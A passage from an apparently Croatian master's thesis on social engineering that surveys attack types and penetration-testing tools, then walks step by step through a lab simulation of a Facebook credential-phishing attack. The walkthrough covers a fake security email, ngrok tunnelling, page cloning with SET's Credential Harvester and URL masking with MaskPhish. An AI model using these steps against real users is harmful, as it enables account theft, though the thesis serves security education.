phishing napadi podrazumijevaju upotrebu zlonamjernih softvera poput virusa i crva, logger-
a, rootkit!® alata, web trojanaca, otmica sesija, napada rekonfiguracijom sustava, izmjene
Hosts datoteke 2° te upotrebu $pijunskih programa (engl. spyware), oglasivackih (engl.
adware) i ucjenjivackih softvera (engl. ransomware), [41]. Upotrebom virusa, koda koji se
§iri u drugoj aplikaciji ili programu automatiziranim stvaranjem vlastitih kopija, i crva, koji se
izvrSavaju iskori§tavanjem ranjivosti operativnog sustava bez potrebe za izmjenom drugog
programa, napadaci su u mogucnosti uzrokovati oste¢enja podataka i softvera te izvesti napad
uskracivanja usluge (engl. Denial of Service; DoS). Inficiranjem racunala zrtve logger-ima,
zlonamjerni korisnici u moguénosti su nadzirati i biljeziti korisnicki unos tipkovnicom i
misem, kao i zaslon njihovog ekrana. Koristenjem kolekcije alata zvane rootkit napadaci su u

mogucnosti ostvariti pristup ciljanom racunalu ili mrezi i provoditi daljnje napade bez znanja

18 Structured Query Language (SQL) — strukturni upitni jezik, programski jezik visoke razine. Najpopularniji
racunalni jezik za izradu, trazenje, azuriranje i brisanje podataka iz relacijskih baza podataka.

19 Rootkit — vrsta zlonamjernog sadrZaja koji se aktivira prilikom svakog pokretanja ra¢unala.

2 Hosts datoteka (engl. Hosts File) — datoteka operativnog sustava koja mapira imena racunala (i drugih
uredaja u mrezi) i domena u IP adrese.
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korisnika, a upotrebom web trojanaca omogucen im je dohvat korisni¢kih podataka za prijavu
(engl. login). Umetanjem zlocudnog softvera u mrezni preglednik, napada¢ je u mogucnosti
nadzirati korisnicke aktivnosti u cilju otmice sesije radi daljnjeg provodenja neautoriziranih
akcija, dok napadom rekonfiguracijom sustava napada¢ kompromitira korisni¢ke informacije
kroz manipulaciju postavki rac¢unala zrtve. Osim navedenih, Cesta je uporaba i zlo¢udnih
programa poput spyware-a, dizajniranih za nadziranje posjecenih web stranica, preuzimanje
kontrole nad inficiranim uredajima, promjenu postavki i prikupljanje osjetljivih podataka.
Inficiranje adware programom rezultira brojnim, nezeljenim sko¢nim prozorima (engl. pop-
up window) usmjerenim na reklamiranje odredenog sadrzaja, dok oni ozbiljniji napadi,
uporaba ransomware programa, kao posljedicu imaju otudivanje podataka, prilikom cega
korisnicki podaci bivaju kriptirani, a pristup racunalu blokiran sve dok nije placena otkupnina,

[46].

4.1.2. Mamljenje

Jedna od najjednostavnijih tehnika socijalnog inzenjeringa, mamljenje (engl. baiting),
zasniva se na iskoriStavanju ljudske znatizelje i pohlepe, a podrazumijeva upotrebu vanjskog
uredaja za pohranu podataka. Ostavljanjem USB memorijskog modula zarazenog
malicioznim programom na lako vidljivom mjestu, napada¢ nastoji pridobiti zrtvu, najcesce
zaposlenika ciljane organizacije, da pokupi uredaj i1 priklju¢i ga u racunalo. DomiSljatim
izborom naziva datoteka koje pohranjuju na memorijski modul, napadaci iskoristavaju
psihologiju Zrtava, privlate njihovu paznju i1 dovode ih u napast da otvore pronadeni,
zlonamjerni sadrzaj. Oznacavanjem USB stick-a privlaénim nazivima socijalni inZenjeri
poticu radoznalost zrtve, a posebice ako se radi o internim zaposlenicima organizacije kojima
su naizgled dostupne datoteke iznad njihove uobicajene razine pristupa. U ozbiljnijim
slu¢ajevima napadac¢i na USB memoriju mogu instalirati rootkit maliciozne programe i time

ostvariti vi$u razinu kontrole zarazenog racunala, [49].

4.1.3. Obrnuti socijalni inzenjering

Za razliku od drugih metoda, kod metode napada obrnutim socijalnim inZenjeringom
(engl. reverse social engineering) napada¢ ne inicira kontakt sa zrtvom, ve¢ Zrtva biva
nasamarena da sama kontaktira napadaca. Kao posljedica ¢injenice da je Zrtva entitet koji je
zahtijevao uspostavu kontakta razvija se visok stupanj povjerenja izmedu zrtve i napadaca.

Jednom uspjeSno ostvaren napad primjenom obrnutog socijalnog inZenjeringa napadacu
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omogucuje provodenje Sirokog spektra napada, poput ucjenjivanja, krade identiteta ili

nagovaranja zrtava da kliknu na maliciozne poveznice, [50].

4.1.4. Napad na pouzdano i posjeéeno web mjesto

Metoda napada na pouzdano i posje¢eno web mjesto (engl. water holing) temelji se na
iskoriStavanju povjerenja koje korisnici daju mreznim lokacijama koje redovito posjecuju.
Eksploatacijom ranjivosti ciljanje web stranice, napadaci vrSe napad i preuzimaju nadzor nad
stranicom te umecu kod Kkoji rezultira inficiranjem korisnika ili njihovim preusmjeravanjem
na zlonamjerna web odredista. Water holing napadi obi¢no su prilagodeni odredenom cilju ili
uredajima, odnosno operativnim sustavima ili aplikacijama, a ¢esto su usmjereni na one
upucene i educirane Kkorisnike poput sistemskih administratora. Redovitim koristenjem
specificnih web stranica korisnici razvijaju odredeno povjerenje, zbog ¢ega nerijetko postaju

neoprezni i ne ustrucavaju se kliknuti na dostupne, potencijalno maliciozne poveznice, [49].

4.1.5. Napad primjenom laznog sigurnosnog softvera

Metoda napada primjenom laznog sigurnosnog softvera (engl. rogue security) temelji se
na upotrebi zlonamjernog programa koji obmanjuje korisnike da placaju simulirani ili u
potpunosti lazni softver, ¢ija je navodna svrha uklanjanje upravo zlo¢udnih programa. Rogue
security oblik je zlonamjernog softvera koji se predstavlja kao sigurnosno rjesenje za
prepoznavanje 1 zaustavljanje aktivnosti zlonamjernog sadrzaja na uredaju. LaZnim
predstavljanjem u ulozi sigurnosnog skenera, kao anti-malware ili anti-spyware program,
scareware?! korisnika uvjerava kako dobiva potrebnu zastitu, dok u stvarnosti sustave inficira

zlo¢udnim programom i socijalnom inzenjeru omogucuje kradu podataka, [51].

4.1.6. Quid pro quo metoda napada

Iako zamorna i najcesce niske stope uspjeha, metoda napada Quid pro quo uobicajena je
metoda socijalnog inZenjeringa, a Cesto ju provode manje napredni napadaci. Ovi napadaci
nemaju na raspolaganju sofisticirane alate i ne provode istraZivanja o meti prije same
realizacije napada, koji se primarno temelje na pozivanju nasumicnih telefonskih brojeva.
Predstavljanjem u ulozi tehnicke podrSke zrtvi nude neku vrstu pomoci, a s vremena na

vrijeme pronalaze ljude s legitimnim tehnickim problemima. Vode¢i Zrtvu kroz potrebne

2L Scareware — zlonamjerni softver koji obmanjuje korisnike ra¢unala da posjete web lokacije zarazene
malicioznim programima i uvjerava ih kako trebaju preuzeti, odnosno kupiti zlonamjerni, ponekad beskorisni
softver.
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korake, ostvaruju pristup njihovom racunalu, pokre¢u zlonamjerni softver i time ostvaruju

zeljeni cilj, [49].

4.2. Alati socijalnog inzenjeringa

Uspjesno provodenje napada socijalnog inzenjeringa zasniva se na definiranom krajnjem
cilju, a sam proces prikupljanja informacija, kao i realizacija napada gotovo uvijek
podrazumijeva upotrebu odredenih alata. Samo posjedovanje ili moguénost pristupa
odredenim alatima nije dovoljna, ve¢ socijalni inZenjeri moraju razumjeti kako ih ucinkovito
koristiti, a upravo razina znanja utjeCe na ishod napada. Osim u slucaju inzenjeringa
temeljenog iskljuéivo na socijalnom, fiziCkom pristupu, napadaci posredstvom raznovrsnih
alata eksploatiraju ranjivosti ljudi ili sustava i ostvaruju Zeljeni cilj. Sve napredniji alati
neprestano se razvijaju, a njihova dostupnost i Siroka primjena omogucuju jednostavnije i
uc¢inkovitije provodenje socijalnog inzenjeringa koji je sve teze sprijeciti. Napadi socijalnim
inzenjeringom najéeS¢e se provode posredstvom viSestrukih alata, a ukljucuju one fizicke,
koji se prvenstveno upotrebljavaju za ostvarivanje pristupa i prikupljanje podataka, telefonske

te one softverske, svestranije i esto visenamjenske alate, [19].

4.2.1. Fizicki alati socijalnog inzenjeringa

Fizickim alatima podrazumijevaju se svi alati koji se koriste za realizaciju napada
socijalnog inZenjeringa koji ne ukljucuje upotrebu racunala, a prvenstveno se koriste kako bi
socijalnom inZenjeru omogucili pristup stvarima ili informacijama koje pospjesuju provedbu
napada, [19]. Dostupnih fizickih alata je mnogo, a raspon seze od onih koristenih za obijanje
vanjskog perimetra, brava i lokota, uredaja za snimanje audio ili video sadrzaja te GPS?

jedinica za pra¢enje mete napada, [14].

4.2.2. Telefonski alati socijalnog inzenjeringa

Telefon, godinama koriSten alat socijalnih inZenjera, razvojem mobilnih uredaja, VoIP
tehnologije 1 telefonskih posluzitelja postao je vrlo u€inkovito sredstvo provedbe napada
socijalnog inzenjeringa. Ljudi su danas preplavljeni marketin§kim pozivima, telefonskom
prodajom i oglasima, a socijalni inZenjeri vjeStim telefonskim manipulacijama i dalje

uspijevaju u kompromitiranju ciljanih zrtava, [14].

22 GPS (Global Positioning System) — satelitski radionavigacijski sustav za odredivanje poloZaja na Zemlji
ili u njezinoj blizini.
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Upotrebom takozvanih ,burner telefona, kupljenih isklju¢ivo gotovinom, socijalni
inzenjeri u moguénosti su prikriti vlastiti trag odlaganjem uredaja nakon koristenja. Osim
fizickog uredaja, za navedenu funkciju danas postoje i aplikativna rjeSenja, poput aplikacije

imena ,,Burner®, [52].

Uz jednokratne uredaje, kod telefonskih malverzacija ¢esto koriStena metoda je i lazni
prikaz broja pozivatelja (engl. caller ID spoofing), koji ukljucuje promjenu detalja koji se
pozivanoj osobi prikazuju. Pozivatelj upucuje poziv s jednog broja, ali mu se ID (engl.
identification) mijenja, pri ¢emu pozivana osoba na zaslonu vidi drugi, lazni broj, [19]. Caller
ID spoofing moguce je izvesti razli¢itim pristupima: upotrebom kartice SpoofCard, SpoofApp
aplikativnim rjeSenjem dostupnim za Android 1 10S operativne sustave te koriStenjem

Asterisk posluzitelja, [53].

4.2.3. Softverski alati socijalnog inzenjeringa

Kiberneticki kriminal, odnosno napadi na informacijske sustave pojedinaca i organizacija,
najbrze je rastuci sigurnosni izazov danaSnjice, a Internet kao javno dostupna globalna
podatkovna mreza ¢ini mjesto prepuno informacija koje se mogu Koristiti u napadima
socijalnog inzenjeringa. Osim ve¢ navedenih i u prethodnoj cjelini rada objasnjenih tehnickih
metoda prikupljanja podataka potrebnih za daljnju eksploataciju, socijalni inzenjeri koriste i
dodatne softverske alate u cilju uspjesne provedbe napada. Softverskim alatima socijalnog

inzenjeringa smatraju se svi oni alati koji podrazumijevaju upotrebu racunala.

Danas se razvijaju mnogi alati u svrhu penetracijskog testiranja, a uvjerljivo najuspjesniji
alat za to je Linux distribucija imena ,,Kali*“. S paketom od vise od tristo alata dizajniranih za
analizu 1 iskoriStavanje ranjivosti sustava, Kali Linux, besplatni projekt otvorenog koda,
najéeS¢e je prvi izbor struénjaka za kiberneticku sigurnost, ali i entuzijasta i zlonamjernih

socijalnih inzenjera, [19].

Social Engineering Toolkit (SET), framework otvorenog koda za penetracijsko testiranje
dizajniran za socijalni inzenjering, sastavni je dio Kali Linux distribucije, [54]. Obzirom na
brojne prilagodene vektore napada koje sadrzi, neizostavni je alat penetracijskih testera i
danas ¢ini standardni okvir za pomo¢ pri naprednim tehnoloskim napadima u okruZzenjima
socijalnog inZenjeringa. Integriran je s Metasploit Framework programskim paketom te kroz

brojne Python 2 skripte omogucuje automatizaciju mnogih aspekata napada socijalnog

23 pPython — objektno orijentirani programski jezik visoke razine s dinami¢kom semantikom.
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inZenjeringa. SET pruza mogucnost jednostavnog stvaranja potrebnih datoteka 1 predlozaka za
napade, alati su redovno azurirani, a njegova se funkcionalnost neprestano prosiruje, [55].
Social Engineering Toolkit pruza brojne funkcionalnosti, a neke od njih su phishing napadi,
kloniranje postoje¢ih mreznih stranica, kreiranje laznog login sucelja, generiranje inficiranog
medija za pohranu, napad bezi¢nim pristupnim tockama, generiranje QR koda (engl. Quick

Response code).

Metasploit Framework, radni okvir razvijen od strane organizacije Offensive Security,
vodeci je svjetski alat za penetracijsko testiranje i eticko hakiranje, a dolazi kao sastavni dio
Kali Linux OS-a. Sigurnosnim i IT (engl. Information Technology) stru¢njacima pomaze u
pronalazenju, eksploataciji i validaciji ranjivosti, omogucéuje automatizaciju testiranja, reviziju
lozinki, skeniranje mreznih aplikacija, socijalni inZenjering, post eksploataciju, prikupljanje
dokaza i izvjeSéivanje. Integracija s Insight VM (ili Nexpose), Nessus-om, OpenVas-om i
drugim skenerima ranjivosti pruza validacijsko rjesenje koje pojednostavljuje odredivanje

prioriteta ranjivosti i izvje$¢ivanje o ispravljanju, [56].

Primjenom open-source intelligence (OSINT) metodologije i alata za prikupljanje, analizu
i donosenje odluka o podacima iz javno dostupnih izvora, socijalni inZzenjeri u mogucnosti Su
napad detaljno planirati, odabrati optimalnu strategiju i uspjesno ga provoditi. Upotreba
OSINT softvera Maltego omogucuje jednostavno rudarenje podataka, od onih osobnih poput
imena, nadimka, starosti i adrese, do pretrage druStvenih mreza, organizacijskih i drugih
mreznih stranica te dokumenata i datoteka na Internetu koje sadrze ime trazene osobe.
Maltego softver je interaktivan i prikazuje grafikone za veze koje pronalazi izmedu razlicitih
podataka, a pokrece ga baza podataka grafova koja, za razliku od relacijske baze podataka,
moze pohraniti ogromne koli¢ine informacija, [19]. Automatiziranim prikupljanjem podataka

i njihovom korelacijom ubrzava proces napada socijalnog inzenjeringa.

theHarvester, sastavni alat Kali Linux distribucije, djeluje kao omot (engl. wrapper) za
razne trazilice 1 koristi se za pronalaZzenje racuna e-poSte, imena poddomena, virtualnih
hostova, otvorenih portova i imena zaposlenika povezanih s domenom iz razli¢itih javnih
izvora. Osim prikupljanja informacija, theHarvester omogucuje provodenje DNS Brute

Force?* napada i Top-Level Domain® (TLD) ekstenziju, [57].

24 Brute force — napad uzastopnim pokusavanjem Koji se sastoji od sustavnog pronalazenja svih moguéih
kandidata za rjeSenje i isprobavanja svakog od njih.
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Creepy, OSINT alat dizajniran za prikupljanje geolokacijskih informacija iz mreznih
izvora, socijalnim inzenjerima omogucuje pracenje traga kojim se ciljana osoba kretala za
vrijeme koristenja odredenom platformom, primjerice drustvenom mrezom. Te se informacije
mogu filtrirati prema mjestu ili datumu i predstaviti na karti. Facebook, Instagram i Twitter
samo su neke od platformi koje prikupljaju lokacijske podatke poput onih gdje su fotografije
nastale i s koje su lokacije objavljene. Te se geolokacijske informacije mogu prikazati na

mapi i time stvoriti trag kretanja mete napada, [6].

Metagoofil, vrlo mo¢an OSINT alat, omogucuje ekstrakciju metapodataka raznih vrsta
datoteka. Pretragom Google trazilicom Metagoofil identificira i preuzima dokumente na
lokalni disk, izvlaci metapodatke i generira izvjeS¢e s podacima poput korisnickih imena,
inaCica softvera i imena posluzitelja, [58]. Osim za metapodatke, ovaj OSINT alat moze se
Koristiti i za izdvajanje MAC adresa?® iz tih datoteka, $to socijalnom inzenjeru moze dati uvid
0 mreznom hardveru koristenom u ciljnom sustavu. Metapodacima dobivenim Metagoofil
alatom moguce je ekstrahirati informacije o putu i mapirati mrezu, a prikupljanjem dovoljne

koli¢ine podataka pruza se moguénost izvodenja brute force napada, [59].

The Browser Exploitation Framework (BeEF), radni je okvir za eksploataciju mreznog
preglednika osmisljen kako bi pruzio uéinkovite vektore napada i iskoristio sve potencijalne
ranjivosti. Namijenjen je za penetracijsko testiranje, odnosno ispitivanje sigurnosti mreznog
preglednika u okruzenju Linux operativnog sustava. BeEF alat povezuje jedan ili viSe mreznih
preglednika i koristi ih za pokretanje usmjerenih naredbenih modula i daljnje napade na

sustav iz konteksta preglednika, [60].

Recon-ng cjeloviti je web reconnaissance radni okvir, koji se temelji na velikoj listi
modula koji se mogu koristiti za prikupljanje informacija o odredenom cilju. Moduli se krec¢u
od informacija o hostu do onih pohranjenih na drustvenim mreZzama. Socijalni inzenjer je u
mogucénosti medusobno povezati module, a pocevsi s jednim imenom domene, baza podataka
moze se popuniti imenima zaposlenika, adresama njihove e-poste, korisnickim imenima,

lozinkama i geolokacijama svih ukljuéenih posluzitelja, [61].

% Top-Level Domain (TLD) — nakon root domene jedna od domena na najvi$oj razini u hijerarhijskom DNS
sustavu na Internetu.

2 MAC adresa (engl. Media Access Control address) — jedinstveni identifikator dodijeljen mreZznom sudelju;
sluzi kao jedinstvena fizi¢ka adresa racunala.
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Fingerprinting Organizations with Collected Archives (FOCA) alat je koji se primarno
koristi za pronalaZzenje metapodataka i skrivenih informacija u skeniranim dokumentima.
Dokumenti se pretrazuju posredstvom Google, Bing i DuckDuckGo mreznih trazilica, a
najéeS¢e skenirane su Microsoft Office, Open Office i PDF (engl. Portable Document
Format) datoteke. Ti se dokumenti mogu nalaziti na mreznim stranicama ili se mogu preuzeti
I naknadno analizirati, a kompletna analiza podataka otkrivenih putem URL-a provodi se i
prije samog preuzimanja datoteke. Osim $to omogucuje analizu Sirokog spektra dokumenata,
alat FOCA omogucuje 1 dodavanje lokalno pohranjenog sadrzaja kako bi se iz grafickih

datoteka izvukle EXIF?’ informacije, [62].

HTTrack, ,,offline browser utility*, besplatan je i jednostavan softver koji omogucuje
preuzimanje world wide web stranice s Interneta u lokalni direktorij, rekurzivno sastavljanje
svih direktorija, preuzimanje HTML?-a, slika i drugih datoteka s posluzitelja na ra¢unalo.
Omogucuje izvanmrezno otvaranje preslikane web stranice i pregledavanje svih direktorija
kao u sluéaju umrezenog nac¢ina pregledavanja originalne stranice. Potpuno je konfiguriran i

ima integrirani sustav pomo¢i, [63].

27 EXIF (engl. Exchangeable Image File) — metapodaci u slikovnoj datoteci sastavljeni od niza oznaka i
vrijednosti; mogu ukljucivati datum i vrijeme snimanja, informacije o geolokaciji, razlu¢ivost fotografije i
ostale postavke fotoaparata.

B HTML (engl. HyperText Markup Language) — jezik za oznacavanje hipertekstualnih dokumenata; osnovni
jezik za izradu mreznih stranica, mreznim preglednicima daje podatke o sadrZaju i strukturi uéitane mrezne
stranice.

33



5. SIMULACIJA NAPADA METODAMA SOCIJALNOG
INZENJERINGA

Kroz prakti¢ni dio kao okosnicu ovog diplomskog rada biti ¢e prikazane dvije Ceste
metode socijalnog inzenjeringa. Ideja praktiénog dijela rada zasniva se na simulaciji
popularnih metoda prikupljanja podataka i eksploatacije ciljanog sustava, izvedenih pomocu
alata dostupnih u okviru Linux distribucije — Kali Linux.

Kali Linux distribucija sadrzi veliki broj predinstaliranih alata za penetracijsko testiranje i
socijalni inzenjering, od kojih su za ove simulacije najznacajniji Social Engineering Toolkit
(SET) i Metasploit, detaljnije objasnjeni u prethodnoj cjelini rada. Uz navedena dva
predinstalirana framework-a, za uspje$nu realizaciju napada bila je potrebna i instalacija

nekoliko dodatnih alata i skripti, pojasnjenih u nastavku rada.

Prakti¢ni dio rada, simulacije kibernetickih napada temeljenih na metodama socijalnog
inzenjeringa, izveden je i prikazan u realnim uvjetima. Simulacije napada ostvarene su
koristenjem dva prijenosna racunala, pri ¢emu su napadi kreirani u okviru Kali Linux 2021.2
operativnog sustava, a realizirani na racunalu ,zrtve® pokretanom Windows 10 Pro
operativnim sustavom. Osim upotrebe razli¢itih operativnih sustava, ideja prakticnog dijela
rada bila je kroz simulacije prikazati realizaciju napada izvan dosega jedne mreze. S ciljem
simulacije napada u realnim uvjetima, napadi i njihova provedba izvedeni su koristenjem
dvije bezi¢ne lokalne mreze (engl. Wireless Local Area Network; WLAN), pri ¢emu je
racunalo ,,napadaca‘ bilo spojeno na jednu, a racunalo ,,zrtve* na drugu mrezu. Tuneliranjem
mreznog prometa te koristenjem javne IP adrese i prosljedivanjem porta u okviru provedenih

napada ostvarene su simulacije izvan domene jedne lokalne mreze.
Prakti¢ni dio rada prikazan je kroz sljedece elemente:

e Opis ideje simulacije napada,

e Dijagram napada,

e Opis dodatno instaliranih alata i skripti,
e Razrada koraka kreiranja napada i

e Simulacija napada.
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5.1. Simulacija e-mail phishing napada
Ideja prve simulacije zasniva se na kreiranju laznog sucelja za prijavu na popularnu,
Cesto posjecivanu platformu drustvene mreze Facebook, a cilj je simulirati kradu unesenih
podataka: korisnickog imena i lozinke. Ostvarenje navedene simulacije phishing napada
provedeno je posredstvom e-poste, koja sadrzi lazno prikazanu poveznicu na maliciozno login
sucelje. Ovom popularnom metodom napada socijalnog inzenjeringa Cilj je prikazati naizgled
legitimnu e-posStu i na taj nacin, kroz prakti¢an primjer, ukazati na problematiku phishing

napada s kojom se milijuni korisnika svakodnevno susrecu.

. Napadat zrtvi 3alje e-mail
=~
Napadaé

Napadac koristi podatke \
Zrtve za pristup pravoj

mrefnoj stranici

b

Zrtva

Napadac dohvaca Zrtva otvara e-mail i
korisnicke podatke posjecuje phishing

\ stranicu

Phishing stranica

Legitimna mreZna stranica

Slika 4. Dijagram phishing napada
Izvor: [64]

Uz alate Social Engineering Toolkit-a, za provedbu simulacije dodatno su preuzeti
ngrok i bash skripta MaskPhish, a sadrzaj e-poste kreiran je uporabom TOPOL HTML

uredivaca.

Ngrok je program koji stvara tunel s localhost-a na neku privremenu domenu koju
dodijeli. Omogucuje izlaganje lokalnih posluzitelja iza vatrozida, na javni internet preko
sigurnih tunela. Za koriStenje ngrok alata bilo je potrebno registrirati se na sluzbenoj stranici,

preuzeti alat i instalirati ga.

MaskPhish je bash skripta koja omogucuje maskiranje phishing URL-a u zeljeni URL,

slican onome Koji se nastoji imitirati. Skripta je preuzeta s GitHub platforme.
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TOPOL.io je mrezna platforma namijenjena za jednostavno i brzo kreiranje HTML
sadrzaja e-poste. Metodom povlacenja i ispustanja (engl. drag-and-drop), urediva¢ sadrzaja e-
poste TOPOL omogucuje stvaranje responzivnog sadrzaja bez kodiranja. Uslugu je moguce

koristiti besplatno i bez registracije, a u pla¢enoj verziji nudi brojne predloske.

Tablica 3. Sinteza elemenata simuliranog phishing napada

E-mail phishing napad

- . . . . Ocekivani
Cilj napada Alati Mrezni preglednik rezultati
e Social Engineering
Toolkit (SET)
Krada podataka o Ngrok Dohvat korisnickog
korisnika dru$tvene . . e Mozilla Firefox imena i lozinke
mreze Facebook *  skripta MaskPhish zrtve
e TOPOL HTML
e-mail uredivac

Kreiranje simulacije napada ostvareno je kroz sljedece korake:

Kreiranje sadrzaja e-poste,

Pokretanje Apache mreznog posluzitelja i ngrok instance,
Kloniranje sucelja za prijavu na drustvenu mrezu Facebook,
Maskiranje stvarnog URL-a,

Umetanje maskirane poveznice u HTML kod,

Slanje phishing poste ,,zrtvi,

Otvaranje pristigle phishing poste na strani ,,zrtve i

O N o 0o B~ w0 D

Dohvat vjerodajnica ,,zrtve*.

5.1.1. Kreiranje sadrzaja e-poste

Iako je sadrzaj phishing elektronicke poste moguée kreirati izravno unutar Social
Engineering Toolkit-a, jednostavnije i preglednije je napraviti ga negdje drugdje te prilikom
kreiranja e-poste kopirati i zalijepiti ga u SET. Sadrzaj elektronicke poste u sklopu SET-a
moguce je definirati kao obican tekst (engl. plain text) ili u HTML obliku, a obzirom da
HTML pruZa znatno viSe moguénosti u pogledu uredivanja, simulacija napada izvedena je
upravo tom metodom. Za potrebe kreiranja sadrzaja e-poSte koriStena je ve¢ spomenuta
platforma TOPOL.io., a na slici 5. prikazano je sucelje tog mreznog HTML uredivaca, kao i

kreirani sadrZaj koji se namjerava proslijediti ,,zrtvi‘ napada.
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E] racebook

SECURITY WARNING

If you did this, you can safely d

If you didn't do this, pl

e a new password by following the instructions.

Thanks,

The Facebook Security Team

Slika 5. Topol.io HTML e-mail uredivac

5.1.2. Pokretanje Apache mreznog posluzitelja i ngrok instance

Kako bi simulaciju uopce bilo moguée provesti, potrebno je osigurati isporuku
zeljenog sadrZaja, u ovom slucaju phishing stranice, putem interneta. Da bi jednom kreirana
web stranica bila dostupna na mreZi, potrebno je pokrenuti mrezni posluzitelj. U ovome radu
koriSten je Apache server, besplatni mrezni posluzitelj otvorenog koda. Pokretanje Apache
mreznog posluzitelja u Kali Linux okruzenju vrsi se izvodenjem naredbe ,,Service apache2
start“ u naredbenom terminalu. Obzirom da je SET konfiguriran da HTTP server pokreée na
portu 80, za pocetak simulacije potrebno je pokrenuti instancu ngrok-a takoder na portu 80.

To je ostvareno sljedecom naredbom:

q} ~
http 80|
by

Account ngrOk (Plan: Free)
Version 2.3.40

Region United States (us)

Web Interface http:/{127.0.0.1:4040

Forwarding http://d2a0f246bffS.ngrok.iofelliis W] lsle=] [Tl f:1e]

Forwarding https://d2a0f246bffS.ngrok.io - > http:/[/localhost:80

Connections ttl opn rtl rtS pS50 p90
66 0 0.01 0.03 0.02 0.03

Slika 6. Pokretanje ngrok instance
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Kao rezultat naredbe generirana je privremena domena koristena u daljnjem kreiranju
napada. Upotreba ngrok javno dostupnog servera omogucuje pristup lokalnom sadrzaju i
izvan LAN mreze (engl. Local Area Network), sto u slucaju socijalnog inzenjeringa povecava
primjenjivost phishing napada na ve¢i broj Zrtava. Isto je moguée postic¢i i koriStenjem javne
IP adrese i prosljedivanjem porta 80, no u radu je upotrijebljena ova metoda kako bi bilo

moguce koristiti MaskPhish skriptu i time efikasno lazirati URL.

5.1.3. Kloniranje su€elja za prijavu na drustvenu mrezu Facebook
Nakon uspjes$no pokrenutog Apache mreznog posluzitelja i generirane ngrok domene,
potrebno je pokrenuti Social Engineering Toolkit i kloniranjem legitimne, kreirati laznu,
zlonamjernu phishing stranicu. SET je mogucée pokrenuti grafickim putem ili kao §to je na
slici 7. prikazano, putem terminala, pozicioniranjem u /root/ direktorij i upisivanjem naredbe
setoolkit. SET sucelje nudi nekoliko opcija, od kojih je za ovu simulaciju koriStena prva,

Social-Engineering Attacks. Odabir se vrsi jednostavno, upisivanjem zeljenog rednog broja.

gineer Toolkit (SET)
(RelLl1K)

The one stop shop for all of your SE nee

The Social-Engineer Toolkit is a product of TrustedSec.

Visit: https:ffwww.trustedsec.com

Select from the menu:

1) Social-Engineering Attacks

2) Penetration Testing (Fast-Track)

3) Third Party Modules

4) Update the Social-Engineer Toolkit
5) Update SET configuration

6) Help, Credits, and About

99) Exit the Social-Engineer Toolkit

Slika 7. Pokretanje SET-a i prikaz glavnog izbornika
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Odabirom rednog broja 1 otvara se novi menu s vise moguéih vektora napada,
prikazan na slici 8., od kojih su za ovu simulaciju koristeni Website Attack i Mass Mailer
Attack.

Select from the menu:

1) Spear-Phishing Attack Vectors
2) Website Attack Vectors

3} Infectious Media Generator

4) Create a Payload and Listener
5) Mass Mailer Attack

&) Arduino-Based Attack Vector

7) Wireless Access Point Attack Vector
8) QRCode Generator Attack Vector

9) Powershell Attack Vectors

10) Third Party Modules

99) Return back to the main menu.

Slika 8. Social Engineering Attacks menu

Odabirom Website Attack vektora unosom rednog broja 2 otvara se moguénost izbora
razli¢itih napada manipulacijom mreznih stranica, od kojih je za ovu simulaciju koristena
tre¢a metoda, namijenjena za rudarenje vjerodajnica (engl. credentials harvester). Credential
Harvester Attack modul sluzi za kloniranje Zeljene mrezne Stranice, pruzajuci pri tome izbor
upotrebe postoje¢ih predlozaka, kopiranja stranice na temelju legitimnog URL-a ili uvoz
lokalno pohranjenih predlozaka. U okviru ove simulacije odabrana je metoda kloniranja
temeljena na URL-u, kako bi bilo moguée specificirati konkretnu stranicu koja se nastoji

lazirati.

1) Java Applet Attack Method

2) Metasploit Browser Exploit Method
3) Credential Harvester Attack Method
4) Tabnabbing Attack Method

5) Web Jacking Attack Method

6) Multi-Attack Web Method

7) HTA Attack Method

99) Return to Main Menu

>3

1) Web Templates
2) Site Cloner
3) Custom Import

Slika 9. Odabir vektora napada i metode kloniranja mrezne stranice
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Odabirom metode kloniranja mrezne stranice na temelju URL-a, od socijalnog
inzenjera zahtijeva se unos host IP adrese. Kao $to je moguée vidjeti na slici 10., unaprijed
definirana IP adresa je lokalna IP adresa 192.168.100.15, no unesena je adresa dodijeljena od
ngrok posluzitelja kako bi buduc¢oj phishing stranici bilo moguce pristupiti i izvan lokalne
mreze. Na specificiranoj adresi nalaziti ¢e se klonirana definirana mrezna stranica, $to u
slu¢aju ove simulacije podrazumijeva login stranicu drustvene mreze Facebook. U koraku
nakon  definiranja host IP  adrese potrebno je unijeti  legitimni  URL
(https://www.facebook.com/login), kopiran iz mreznog preglednika, i time zavrSava proces
kreiranja lazne stranice. Na dnu slike 10. mogucée je primijetiti napomenu kako ¢e prikupljene
informacije, vjerodajnice zrtve, biti prikazane u nastavku ¢im pristignu. Dosad navedeni
procesi moraju ostati pokrenuti do kraja provodenja napada, do trenutka dohvacanja

korisnickih podataka.

: > |P address for the POST back in Harvester/Tabnabbing [192.168.100.15]:626c9615e4e6.ngrok.io
[-] SET supports both HTTP and HTTPS
[-] Examiple: http://www.thisisafakesite.com
> Enter the url to clone:https:/fwww.facebook.com/login

[*] Cloning the website: https:{/login.facebook.comjlogin.php

[*] This could take a little bit...

Slika 10. Unos IP adrese i URL-a za kloniranje

5.1.4. Maskiranje stvarnog URL-a

Obzirom da URL dodijeljen od strane ngrok posluZitelja nema sli¢nosti sa stvarnom
domenom Facebook drustvene mreze, pokusaj phishing napada slanjem neizmijenjenog URL-
a u realnim uvjetima vrlo vjerojatno ne bi bio uspjesSan. Za potrebe ove simulacije koriStena je
ranije spomenuta bash skripta MaskPhish kojom je moguée izmijeniti i time zamaskirati
malicioznu stranicu. Pokretanje skripte izvodi se pozicioniranjem u direktorij u kojemu je
skripta pohranjena te izvrsavanjem naredbe ,,bash maskphish.sh*.

Kao $to je moguce vidjeti na slici 11., MaskPhish skripta kao ulazni parametar prima
URL koji se nastoji prikriti, Sto je u sluaju ove simulacije ngrok dedicirani URL
http://d2a0f246bff5.ngrok.io, te trazi unos zeljene domene. Kako bi elektroni¢ka posta bila §to
uvjerljivija, bitno je poveznicu na malicioznu stranicu dobro prikriti. 1z tog je razloga za

domenu unesena prava, legitimna domena druStvene mreZe, a kao nuzan dodatak dodane su
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rijeCi u skladu sa sadrzajem e-poste koja se Salje, Sto u ovoj simulaciji podrazumijeva rijeci
,login®, | password* i ,,reset”. Unosom povlakom povezanih rije¢i generirana je nova, znatno

uvjerljivija poveznica: https://www.facebook.com-login-password-reset@is.gd/ak WV XA.

Paste Phishing URL here (with http or https): http://d2a0f246bff5.ngrok.io
Processing and Modifing Phishing URL

G skimgRomalin
Domain to mask the Phishing URL (with http or https), ex: https://google.com, |
:/lanything.org) :
https://www.facebook.com

